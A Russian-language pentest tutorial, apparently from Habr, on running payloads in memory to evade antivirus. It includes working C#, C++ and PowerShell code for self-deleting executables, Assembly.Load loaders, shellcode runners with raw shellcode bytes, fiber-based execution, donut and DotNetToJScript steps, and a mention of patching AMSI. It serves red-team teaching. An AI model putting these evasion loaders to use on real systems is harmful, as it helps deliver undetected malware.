Диск – это лава. Исследуем методы выполнения пеи?лоада в памяти

МЕНЮ


Главная страница
Поиск
Регистрация на сайте
Помощь проекту
Архив новостей

ТЕМЫ


Новости ИИРазработка ИИВнедрение ИИРабота разума и сознаниеМодель мозгаРобототехника, БПЛАТрансгуманизмОбработка текстаТеория эволюцииДополненная реальностьЖелезоКиберугрозыНаучный мирИТ индустрияРазработка ПОТеория информацииМатематикаЦифровая экономика

Авторизация



RSS


RSS новости


Привет, Хабр! Меня зовут Миша, я работаю в МТС RED в команде тестирования на проникновение на позиции эксперта.

В ходе пентестов очень часто приходится бороться с антивирусами. Увы, это может отнимать много времени, что негативно сказывается на результатах проекта. Тем не менее есть парочка крутых трюков, которые позволят на время забыть про антивирус на хосте, и один из них - выполнение полезной нагрузки в памяти.

Ни для кого не секрет, что во время пентестов атакующим приходится использовать готовые инструменты, будь то нагрузка для Cobalt Strike, серверная часть от поднимаемого прокси-сервера или даже дампилка процесса lsass.exe. Что объединяет все эти файлы? То, что все они давным-давно известны антивирусам, и любой из них  не оставит без внимания факт появления вредоноса на диске.

Заметили ключевой момент? Факт появления вредоноса на диске. Неужели если мы сможем научиться выполнять пейлоад в оперативной памяти, то пройдём ниже радаров антивирусов? Давайте разберёмся с техниками выполнения файлов полностью в памяти и увидим, насколько жизнь атакующих станет проще, если они научатся работать, не затрагивая диск.

Основы выполнения в памяти

Не настраивайтесь на хардкор, я постараюсь рассказать всё простым и понятным языком.

Выполнение в памяти — абсолютно нормальное поведение. Я бы даже сказал, что все? только так и выполняется. По сути диск — лишь плацдарм, склад, с которого тянутся нужные программы, а затем загрузчик проецирует их в памяти и вызывает точку входа программы. Ничто не мешает нам собственноручно разместить байты данных в памяти, а затем заставить систему их выполнить.

Итак, предлагаю убедиться в том, что диск нам как таковой не нужен — всё успешно работает и без него, полностью в оперативной памяти. Пусть у нас будет файл example.exe, который сначала есть на диске, а потом его не станет: он пропадёт и останется лишь в ОЗУ. Такая техника называется Self-Deletion. Казалось бы, можно запустить пейлоад, а в нём предусмотреть вызов функции DeleteFIle(), но не тут-то было. При попытке удаления самого себя мы получим ошибку 0x5 ERROR_ACCESS_DENIED.

Тем не менее мы можем воспользоваться особенностями файловой системы NTFS, используемой в Windows. В ней существуют так называемые потоки данных, основным можно считать поток $DATA. Если пропадёт этот поток, то файл исчезнет, его невозможно будет прочитать.

К сожалению, поток удалить нельзя, но его можно переименовать, что так же приведёт к невозможности чтения содержимого файла и, как следствие, невозможности его повторного считывания и выполнения. Не будем особо углубляться в технические детали. Отмечу лишь, что переименование потока данных будет осуществляться с помощью функции SetFileInformationByHandle() с передачей в качестве FileInformationClass значения FileRenameInfo, а затем FileDispositionInfo.

Код
#include <Windows.h> #include <iostream> #define NEW_STREAM L":HABRAHABR"    BOOL DeleteSelf() {               	WCHAR                   	szPath[MAX_PATH * 2] = { 0 };             	FILE_DISPOSITION_INFO   	Delete = { 0 };             	HANDLE                  	hFile = INVALID_HANDLE_VALUE;             	PFILE_RENAME_INFO       	pRename = NULL;             	const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;             	SIZE_T                  	sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);               	pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);             	if (!pRename) {                            	printf("[!] HeapAlloc Failed With Error : %d  ", GetLastError());                            	return FALSE;             	}                 	ZeroMemory(szPath, sizeof(szPath));             	ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));               	Delete.DeleteFile = TRUE;             	pRename->FileNameLength = sizeof(NewStream);             	RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));               	if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {                            	printf("[!] GetModuleFileNameW Failed With Error : %d  ", GetLastError());                            	return FALSE;             	}               	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);             	if (hFile == INVALID_HANDLE_VALUE) {                            	printf("[!] CreateFileW [R] Failed With Error : %d  ", GetLastError());                            	return FALSE;             	}               	wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);               	if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {                            	printf("[!] SetFileInformationByHandle [R] Failed With Error : %d  ", GetLastError());                            	return FALSE;             	}             	wprintf(L"[+] DONE  ");               	CloseHandle(hFile);               	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);             	if (hFile == INVALID_HANDLE_VALUE) {                            	printf("[!] CreateFileW [D] Failed With Error : %d  ", GetLastError());                            	return FALSE;             	}               	wprintf(L"[i] DELETING ...");               	if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {                            	printf("[!] SetFileInformationByHandle [D] Failed With Error : %d  ", GetLastError());                            	return FALSE;             	}             	wprintf(L"[+] DONE  ");               	CloseHandle(hFile);               	HeapFree(GetProcessHeap(), 0, pRename);               	return TRUE; }   int main() {             	DeleteSelf();             	getchar();             	return 0; }

Как мы видим, процесс успешно создан и продолжает свою работу, даже когда с диска система уже не в состоянии что-либо прочитать. Это доказывает тот факт, что файл считывается загрузчиком, помещается в оперативную память, а затем идёт его выполнение.

Встроенные возможности языков для выполнения кода в памяти

C# и System.Reflection.Assembly

У некоторых языков есть встроенный функционал для выполнения определённого кода в памяти. Например, у C# есть неймспейс System.Reflection, а в нём класс Assembly с методом Load, который можно использовать для помещения и последующего выполнения C# сборки в памяти. Прототип следующий:

public static System.Reflection.Assembly Load (byte[] rawAssembly);

Функция принимает один-единственный параметр — rawAssembly. Он представляет собой массив байтов сборки, которую требуется поместить в память. Предлагаю рассмотреть файл Rubeus.exe — инструмент отлично подходит для демонстрации, ведь он написан на C#.

Для считывания байтов будем использовать File.ReadAllBytes, после чего будем передавать байты в описанную выше функцию и вызывать её точку входа.

using System; using System.IO; using System.Reflection;  namespace AssemblyLoader { 	class Program 	{     	static void Main(string[] args)     	{         	Byte[] bytes = File.ReadAllBytes(@"C:UsersMichaelDownloadsRubeus.exe");             ExecuteAssembly(bytes, new string[] { "user" });               Console.Write("Press any key to exit");         	string input = Console.ReadLine();     	}       	public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)     	{         	Assembly assembly = Assembly.Load(assemblyBytes);           	MethodInfo method = assembly.EntryPoint;                                            	         	object[] parameters = new[] { param };           	object execute = method.Invoke(null, parameters);     	} 	} } ```

Таким образом, мы можем на машине атакующего считать все байты полезной нагрузки, а затем на машине атакуемого вызвать метод Assembly.Load(), что приведёт к возможности запуска пейлоада в памяти! Начнём со считывания байтов. Каждый раз использовать File.ReadAllBytes(), мягко говоря, нудно, поэтому байты можно считать с использованием Powershell:

$FilePath = "C:UsersMichaelDownloadsRubeus.exe""
$File = [System.IO.File]::ReadAllBytes($FilePath);

В переменной $File будет находиться слишком большой массив байтов, с которым не очень удобно работать:

Поэтому предлагаю закодировать этот массив в Base64, а затем на машине атакуемого строку декодировать и получить нужный поток байтов.

$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String;

Теперь остаётся лишь изменить наш лоадер, добавив в него полученную Base64 строку и функционал по её декодированию:

using System; using System.IO; using System.Reflection;     namespace AssemblyLoader { 	class Program 	{     	static void Main(string[] args)     	{         	string assemblyBase64 = "<b64 value>";         	Byte[] bytes = Convert.FromBase64String(assemblyBase64);             ExecuteAssembly(bytes, new string[] { "user" });               Console.Write("Press any key to exit");         	string input = Console.ReadLine();     	}       	public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)     	{         	Assembly assembly = Assembly.Load(assemblyBytes);           	MethodInfo method = assembly.EntryPoint;           	object[] parameters = new[] { param };           	object execute = method.Invoke(null, parameters);     	} 	} }

Причём не обязательно каждый раз генерировать новую сборку, ведь у нас есть возможность вызова дотнетовских методов из Powershell. В частности, можно обратиться к нужному нам System.Reflection, а из него вызывать метод Assembly.Load(), что позволит с таким же успехом загрузить сборку и обратиться к ней.

Синтаксис прост:

$blob = "<полученное base64>" $load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));

После чего нужно лишь выбрать желаемый для вызова метод, используя следующий синтаксис:

[<namespace>.<class>]::<method>() # Ex                      [Rubeus.Program]::Main()

В случае с запуском через Powershell все байты сборки, передаваемой в метод Assembly.Load(), перед загрузкой окажутся в AMSI, поэтому нужно предварительно запатчить AMSI, чтобы он не ругался на наш загружаемый пейлоад.

Причём далеко не каждая сборка сможет успешно загрузиться подобным образом. Следует убедиться, что в проекте используется Net Framework, а не Net Core, так как Core не получится грузить в память. Вот статья, которой можно руководствоваться при изменении проекта с Core на Net Framework. Выбрать нужный фреймворк тоже можно непосредственно при создании проекта в Visual Studio:

В ходе исследования этого метода подгрузки сборок оказалось, что иногда у Powershell не получается обнаружить наличие сборки в памяти, поэтому придётся собственноручно вычленять и вызывать нужный метод:

$data = 'байты сборки' $assem = [System.Reflection.Assembly]::Load($data); $class = $assem.GetType('Rubeus.Program'); $method = $class.GetMethod('Main'); $method.Invoke(0, $null)

C# и MemoryStream()

В C# присутствует ещё один интересный механизм, позволяющий компилировать сборки буквально на ходу из представленного исходного кода. Причём, как я узнал позже, этот функционал появился относительно недавно, лишь в 2021 году.

Итак, сначала исходный код требуется подготовить с использованием CSharpSyntaxTree.ParseText(). В дальнейшем он должен храниться в виде экземпляра класса SyntaxTree.

SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"         	namespace ns{             	using System;             	public class App{                     public static void Main(string[] args){                         Console.Write(""dada"");                 	}             	}         	}");

Далее нужно добавить опции компиляции (у нас указывается, что это будет консольное приложение):

var options = new CSharpCompilationOptions(            OutputKind.ConsoleApplication,            optimizationLevel: OptimizationLevel.Debug,            allowUnsafe: true);

Теперь подготовим сборку, которая будет выполняться в памяти. Сначала создаём переменную, которая будет олицетворять сборку, для этого используется функция CSharpCompilation.Create(). Первым параметром указываем имя сборки, а последним — необходимые опции компилятора. В нашем случае генерируется рандомное имя.

var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);

Теперь у нас есть объект сборки, добавляем в неё исходныи? код, вызывая метод AddSyntaxTrees():

compilation = compilation.AddSyntaxTrees(syntaxTree);

Внутри нашей сборки есть зависимости от других сборок. Например, для того же вывода на консоль требуется наличие метода System.Console.Write(), а откуда его возьмёт компилятор? Поэтому теперь в сборку следует добавить зависимости от других сборок. Они чаще всего представлены в виде .dll фаи?лов, а стандартные сборки находятся в одной и тои? же директории, которую можно извлечь вот так:

var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);

Обратите внимание, что у проекта может быть множество зависимостей, поэтому потребуется завести список:

List<MetadataReference> references = new List<MetadataReference>(); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));

Дополнительно можно распарсить наше ранее созданное синтаксическое дерево (помните? В нём исходный код собираемой сборки лежит). Для этого используем вот такой код:

var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();   // добавляем расширение .dll  foreach (var u in usings)  {    references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));   }
  • compilation.SyntaxTrees  — из объекта сборки получаем все синтаксические деревья

  • Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()) — для каждого дерева из списка выполняется действие в скобках после Select. tree.GetRoot() возвращает корневой узел каждого дерева. DescendantNodes() получает все узлы дерева, производные от корневого. OfType<UsingDirectiveSyntax>() фильтрует узлы, оставляя только те, что представляют собой директивы using

  • SelectMany(s => s) — так как каждое дерево может содержать множество директив using, вызов SelectMany нужен для преобразования списка списков в один общий список

  • ToArray() — преобразует получившийся список в массив для дальнейшего использования. После чего пробегаемся по полученным сборкам и добавляем расширение .dll

Остаётся лишь добавить в объект сборки полученные зависимости и скомпилировать. Добавление осуществляется через метод compilation.AddReferences.

compilation = compilation.AddReferences(references);

Наконец вся магия исполнения в памяти заключается в использовании экземпляра класса MemoryStream, который позволяет работать с данными в памяти. Этот экземпляр мы передаём в метод compilation.Emit() (используется для компиляции сборки), что приводит к помещению скомпилированной сборки в память.

using (var ms = new MemoryStream())     	{         	EmitResult result = compilation.Emit(ms);           	if (!result.Success)         	{                 IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>                     diagnostic.IsWarningAsError ||                     diagnostic.Severity == DiagnosticSeverity.Error);                   foreach (Diagnostic diagnostic in failures)             	{                     Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);             	}         	}         	else         	{                 ms.Seek(0, SeekOrigin.Begin);                 AssemblyLoadContext context = AssemblyLoadContext.Default;                 Assembly assembly = context.LoadFromStream(ms);                 assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });        	   }     	}

Затем не составит труда извлечь сборку из памяти и вызвать метод из неё.

Полный код проекта приведён ниже.
using System; using System.CodeDom.Compiler; using System.IO; using System.Reflection; using System.Runtime.Loader; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Microsoft.CodeAnalysis.Emit;   class Program { 	static void Main() 	{     	// создание экземпляра класса, содержащего исходный код   	  SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"         	namespace ns{             	using System;             	public class App{                     public static void Main(string[] args){                         Console.Write(""dada"");                 	}             	}         	}");     	// создаем опции компилятора, в которых говорим, что у нас консольное приложение     	var options = new CSharpCompilationOptions(            OutputKind.ConsoleApplication,            optimizationLevel: OptimizationLevel.Debug,            allowUnsafe: true);       	// создание объекта сборки     	var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);       	// добавление исходного кода в сборку     	compilation = compilation.AddSyntaxTrees(syntaxTree);       	// получение локального путя, где лежат все сборки     	var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);         List<MetadataReference> references = new List<MetadataReference>();                            	     	// добавление необходимых сборок в список         references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));         references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));         references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));                            	     	// добавляем сборки из синтаксического дерева     	var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();       	// добавляем расширение .dll     	foreach (var u in usings)     	{             references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));     	}       	// добавляем зависимости     	compilation = compilation.AddReferences(references);       	// компилим     	using (var ms = new MemoryStream())     	{         	EmitResult result = compilation.Emit(ms);           	if (!result.Success)         	{                 IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>                     diagnostic.IsWarningAsError ||                     diagnostic.Severity == DiagnosticSeverity.Error);                   foreach (Diagnostic diagnostic in failures)            	 {                     Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);             	}         	}         	else         	{                 ms.Seek(0, SeekOrigin.Begin);                 AssemblyLoadContext context = AssemblyLoadContext.Default;                 Assembly assembly = context.LoadFromStream(ms);                 assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });        	   }     	} 	} }

Таким образом, мы можем запускать практически любой удобный для нас код в памяти. Единственная проблема — исходники будут в явном виде находиться в программе, что не есть хорошо, конечно. Но тут можно использовать какие-нибудь криптографические либо кодировочные функции для сокрытия исходного кода.

Обратите внимание, что для запуска кода требуется добавить пакет Microsoft.CodeAnalysis.CSharp:

C#, память и неуправляемыи? код

Дотнетовские сборки мы выполнять научились, но что, если программа была написана на С++? В этом случае она исполняется вне платформы CLR и будет считаться неуправляемым кодом. Как следствие, выполнить её в памяти через описанные выше методы не получится.

Точку ставить рано, ведь существуют шеллкоды. Что, если мы сгенерируем шеллкод от существующей программы на С++, затем засунем этот шеллкод в С# проект, в котором реализуем логику по инжекту этого шеллкода в адресное пространство текущего процесса? В таком случае на выходе у нас будет полноценная сборка, которая загружается с использованием System.Reflection.Assembly.Load() и выполняет наш шеллкод. Получается такая матрёшка из четырёх кукол: вызов Assembly.Load() — первая кукла, загружаемая сборка — вторая, шеллкод в сборке — третья, и, наконец, шеллкод представляет собой нашу С++ программу — четвёртая.

Итак, сначала предлагаю подготовить программу, которая будет осуществлять запуск нашего шеллкода. Здесь будем использовать стандартный шеллкод-раннер с помощью GetDelegateForFunctionPointer():

using System; using System.Runtime.InteropServices;   namespace ShellcodeLoader { 	public class Program 	{     	public static void Main(string[] args)     	{         	byte[] x86shc = new byte[193] {             0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,             0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,             0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,             0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,             0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,             0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,             0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,             0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,             0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,             0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,             0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,             0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,             0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };           	IntPtr funcAddr = VirtualAlloc(                               IntPtr.Zero,                               (uint)x86shc.Length,                               0x1000, 0x40);         	Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length);         	pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc));         	f();           	return;     	}       	#region pinvokes         [DllImport("kernel32.dll")]     	public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);     	delegate void pFunc();       	#endregion 	} }

Теперь конвертируем байты этой сборки по описанному выше алгоритму в base64 строку и запускаем через System.Reflection.Assembly:

Отлично! Запуск тестового шеллкода работает. Пора переходить к генерации непосредственно самого шеллкода. Сначала определимся с программой. Предлагаю написать что-то более-менее серьёзное, чтобы проверить теорию наверняка. Используем графику, различные API-вызовы, циклы, коллбэки и прочую жуть:

#include <Windows.h>  LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);   int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { 	// Создание окна 	HWND hwnd; 	WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L"MyWindowClass", NULL };     RegisterClassEx(&wc); 	hwnd = CreateWindowEx(0, L"MyWindowClass", L"Pixel Drawing", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL); 	ShowWindow(hwnd, nCmdShow);   	// Получение контекста устройства (Device Context) 	HDC hdc = GetDC(hwnd);   	// Рисование пикселей 	for (int x = 0; x < 800; x++) 	{     	for (int y = 0; y < 600; y++)     	{             SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); // Задаем цвет пикселя     	} 	}   	// Основной цикл сообщений 	MSG msg; 	while (GetMessage(&msg, NULL, 0, 0)) 	{         TranslateMessage(&msg);         DispatchMessage(&msg); 	}   	// Освобождаем ресурсы и завершаем программу 	ReleaseDC(hwnd, hdc);     UnregisterClass(L"MyWindowClass", hInstance); 	return 0; }   // Обработка сообщений окна LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { 	switch (uMsg) 	{ 	case WM_DESTROY:         PostQuitMessage(0);   	  return 0; 	}   	return DefWindowProc(hwnd, uMsg, wParam, lParam); }

Затем компилируем, после чего нужно перегнать программу в шеллкод. Для этого есть множество готовых инструментов:

Можно даже использовать Visual Studio для генерации шеллкода, об этом подробно написано в этой статье. Я человек простои?, поэтому предлагаю использовать стандартный donut:

donut.exe -i CodeToShc.exe -o code.bin -b 1

Затем перегоняем из .bin формата в шестнадцатеричный шеллкод, который можно будет вставить в программу:

xxd -i code.bin  > 1.h

В файле будет представлен шеллкод нашей программы:

Добавляем шеллкод в шеллкод-раннер и проверяем, что всё работает:

Остаётся лишь получить байты сборки и запустить эту сборку через System.Reflection.Assembly:

И получаем успешное выполнение сборки с шеллкодом:

Благодаря этому способу запуска шеллкода антивирус не в состоянии обнаружить такой способ инъекции:

Конвертация в JScript

Существует метод запуска дотнетовских сборок через конвертацию в JScript, для этого используется следующий инструмент: https://github.com/tyranid/DotNetToJScript.

Первым делом качаем проект по ссылке выше, открываем в студии, идём в Solution Explorer ? тыкаем на TestClass.cs в проекте ExampleAssembly. Выбираем компилировать как .dll.

Затем наш код должен быть вставлен в классе TestClass(), например, следующий код выводит месседж-бокс:

using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms; [ComVisible(true)] public class TestClass {             	public TestClass()             	{                            	MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);             	}             	public void RunProcess(string path)             	{                            	Process.Start(path);             	} }

После успешной компиляции в формате .dll используем скачанную выше тулзу для конвертации в js:

DotNetToJScript.exe <имя нашей длл> --lang=Jscript --ver=<версия .NET фреймворка> -o demo.js  # Ex 	DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js

Полученныи? .js фаи?л можно смело запускать, что приведёт к выполнению кода из TestClass(), а именно — появлению MessageBox.

Fibers

Фиберы — это одна из единиц выполнения кода, как процесс или поток. Фибер работает внутри конкретного потока. То есть выстраивается иерархия процесс ? поток ? фибер. Внутри потока может быть несколько фиберов. Причём фиберы управляются и контролируются самим приложением, а не операционной системой. Благодаря фиберам можно выстраивать более гибкие механизмы синхронизации, потому что они имеют собственный стек и регистры. Фиберы удобно использовать для задач сокрытия исполнения кода, так как выполнение кода внутри фиберов отследить намного сложнее, чем выполнение кода внутри потока. Самое интересное заключается в том, что стек фибера, как только фибер завершит свою работу, будет очищен. В результате чего антивирусному ПО будет сложнее обнаружить вредоносную активность в нашей программе.

Если же фибер внутри себя вызывает другой фибер, то стек очищен не будет. Будет произведено переключение стека и значении? регистров на те, которые должны быть у фибера, на который переключились. Например, если в основном потоке значение регистра EAX 0x00, у фибера 1 оно равно 0x01, а у фибера 2 0x02, то, при переключении основного потока на фибер 1 значение регистра EAX станет равно 0x01, а при переключении из фибера 1 на фибер 2 оно станет равно 0x02. После завершения работы фибера 2 примет значение фибера 1 и т. д.

В идеале для сокрытия пеи?лоада от АВ следует разместить его где-то в файле — например, в PE, в соседней DLL библиотеке или где-то ещё. Затем запустить кучу потоков, в них кучу фиберов, а в каком-то из фиберов — полезную нагрузку.

Фиберы поддерживаются как в C#, так и в C++. Для разнообразия предлагаю этот PoC написать на C++. Итак, основная функция для работы с фиберами — CreateFiber():

LPVOID CreateFiber(   [in]       	SIZE_T            	dwStackSize,   [in]       	LPFIBER_START_ROUTINE lpStartAddress,   [in, optional] LPVOID            	lpParameter );
  • dwStackSize — начальный размер стека

  • LPFIBER_START_ROUTINE — коллбэк-функция, которая будет считаться главнои? функциеи? фибера. Она вызывается при старте фибера

  • lpParameter — некоторые дополнительные данные, которые мы хотим передать в фибер

После создания фибера его запустить можно с помощью SwitchToFiber(). Обратите внимание, что нельзя напрямую вызывать эту функцию из потока — не произойдёт перехода потока управления. Поэтому требуется предварительно конвертировать текущий поток в фибер с помощью ConvertThreadToFiber().

Фиберы отлично подходят для исполнения наших пейлоадов в памяти по причине их достаточно хорошей скрытности. Предлагаю начать писать простенький PoC, в котором будет десять потоков и десять фиберов, но лишь в одном из фиберов будет осуществлен запуск нашего шеллкода.

Для синхронизации предлагаю использовать мьютекс. Создадим ещё в начале нашей программы мьютекс, а затем дёрнем его перед запуском шеллкода, чтобы предотвратить его повторные запуски.

Код
#include <windows.h> #include <vector> #include <thread>   #define DEBUG   size_t numOfThreads = 10; size_t numOfFibers = 10;   unsigned char shc[] = "x48x31xffx48xf7xe7x65x48x8bx58x60x48x8bx5bx18x48x8bx5bx20x48x8bx1bx48x8bx1bx48x8bx5bx20x49x89xd8x8b" "x5bx3cx4cx01xc3x48x31xc9x66x81xc1xffx88x48xc1xe9x08x8bx14x0bx4cx01xc2x4dx31xd2x44x8bx52x1cx4dx01xc2" "x4dx31xdbx44x8bx5ax20x4dx01xc3x4dx31xe4x44x8bx62x24x4dx01xc4xebx32x5bx59x48x31xc0x48x89xe2x51x48x8b" "x0cx24x48x31xffx41x8bx3cx83x4cx01xc7x48x89xd6xf3xa6x74x05x48xffxc0xebxe6x59x66x41x8bx04x44x41x8bx04" "x82x4cx01xc0x53xc3x48x31xc9x80xc1x07x48xb8x0fxa8x96x91xbax87x9ax9cx48xf7xd0x48xc1xe8x08x50x51xe8xb0" "xffxffxffx49x89xc6x48x31xc9x48xf7xe1x50x48xb8x9cx9ex93x9cxd1x9ax87x9ax48xf7xd0x50x48x89xe1x48xffxc2" "x48x83xecx20x41xffxd6,x00";   DWORD WINAPI threadProc(VOID*); VOID WINAPI fiberProc(LPVOID);   HANDLE hMutex;   int main() {     std::vector<HANDLE> threads(numOfThreads); 	hMutex = CreateMutex(NULL, FALSE, L"Mutex"); 	for (auto& thread : threads) 	{     	thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL); 	}   	for (auto& thread : threads) 	{         WaitForSingleObject(thread, INFINITE); 	}     	return 0; }   DWORD WINAPI threadProc(LPVOID lpParam) {     std::vector<PVOID> fibers(numOfFibers);     ConvertThreadToFiber(NULL);       	for (int i = 0; i < numOfFibers; ++i)     {     	fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i);     	 	}   	while (true) 	{     	for (auto& fiber : fibers)     	{             SwitchToFiber(fiber);     	} 	}   	return 0; }   VOID WINAPI fiberProc(LPVOID lpParam) {     WaitForSingleObject(hMutex, INFINITE); 	hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"Mutex"); 	if (hMutex) 	{     	PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);         memcpy(payload_mem, shc, sizeof(shc));         ((void(*)())payload_mem)(); 	}  } 

Вам нужно лишь заменить шеллкод на шеллкод Rubeus. Благодаря такому серьёзному скрытию кода мы вновь успешно исполняем его в памяти и остаёмся вне поля зрения антивируса:

Специальные лоадеры

Существует целый класс программ, так называемых Reflective Loader's, которые позволяют загружать код в память. Рефлективная загрузка кода в память основывается на том, что разработчик собственноручно создаёт алгоритм по занесению PE-фаи?ла в память — так же, как это делает и сам Windows. Либо хотя бы на уровне, чтобы пеи?лоад мог запуститься.

На Github достаточно много готовых PoC, выделю самые интересные:

  • Invoke-ReflectivePEInjection — повершелловскии? вариант

  • RunPE — подходит для запуска как управляемого, так и неуправляемого кода

  • FilelessPELoader — одна из самых толковых реализации?. Тянет пейлоад с удалённого сервера

Причём можно отдельно выделить класс программ, служащих для рефлективного внедрения DLL:

Тем не менее иногда все эти специальные лоадеры бесполезны. В большинстве случаев на пентесте достаточно перегнать программу в шеллкод, а затем заставить систему его как-нибудь выполнить. Причём если просто отойти от проторенной дороги и использовать ранее неизвестный метод запуска шеллкода, с большой вероятностью получится обойти антивирус.

Например, можно поискать любые функции, принимающие в качестве одного из параметров коллбэк. В Windows присутствует множество GUI-функции? и GUI-приложении?, которые принимают коллбек. Скажем, функция PdhBrowseCounters() может использоваться для отображения специального диалогового окна, в котором можно выбрать интересующие нас счетчики производительности для программы монитора ресурсов системы. Функция принимает структуру PDH_BROWSE_DLG_CONFIG, одним из элементов которой является pCallback.

Проблема лишь в том, что этот коллбэк вызывается только после того, как пользователь выберет нужные счётчики производительности. Опять же, мы можем выбрать эти счётчики за пользователя, а затем, используя SendMessage() сымитировать отправку сообщения о выборе счетчиков нужному окну.

Вот полный код программы, вам вновь достаточно лишь заменить шеллкод:
